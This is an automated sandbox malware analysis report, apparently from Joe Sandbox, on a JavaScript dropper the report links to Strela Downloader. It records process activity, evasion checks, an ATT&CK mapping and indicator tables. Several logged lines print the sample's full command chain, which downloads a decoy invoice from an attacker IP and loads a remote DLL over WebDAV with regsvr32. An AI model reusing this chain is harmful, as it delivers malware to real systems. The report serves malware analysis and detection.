Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4196			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5675			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3884	Thread sleep count: 4196 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3884	Thread sleep count: 5675 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1340	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1080	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2334101298.000001892957A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.2415020082.00000180D67E9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2414821156.00000180D6788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2414208476.00000180D67E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3614468896.0000022CF0C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3616609802.0000022CF625A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1053816775239920795.js	3%	Virustotal		Browse
1053816775239920795.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem5	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2334045150.000001892956E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2334101298.000001892957A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2421545527.0000022CF6040000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3616405118.0000022CF6215000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2414501795.00000180D67BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2415020082.00000180D67DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2414821156.00000180D6788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2414880351.00000180D67BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2414208476.00000180D67DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tem5	net.exe, 00000007.00000002.2414821156.00000180D6788000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587999
Start date and time:	2025-01-10 20:22:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1053816775239920795.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 23.57.90.69, 23.57.90.73, 23.57.90.75, 23.57.90.77, 23.57.90.79, 23.57.90.76, 23.57.90.70, 23.57.90.78, 192.168.2.6, 172.202.163.200, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:23:38	API Interceptor	29x Sleep call for process: powershell.exe modified
14:23:43	API Interceptor	1x Sleep call for process: net.exe modified
14:23:43	API Interceptor	2x Sleep call for process: svchost.exe modified
14:23:56	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726298095477732
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0m:9JZj5MiKNnNhoxuD
MD5:	D53D2A27D079211CA0CBDB23664A687C
SHA1:	B21D1A0CC784980B5F606C7B3230E0112CE6F50F
SHA-256:	6003384F18DC4FF1927630594AF48665653D9F411A83360E27E64F732CD5A271
SHA-512:	DA7ED6CD8BC3D93A38365D3A833EE8B6374A6289B1B4EDCA44ED5E64D6410F3FAB82CE3A1E3AE97756FBC04B32DA5F628749079AC0D1782273E513DEC5348AB8
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xaddbd428, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555547236396227
Encrypted:	false
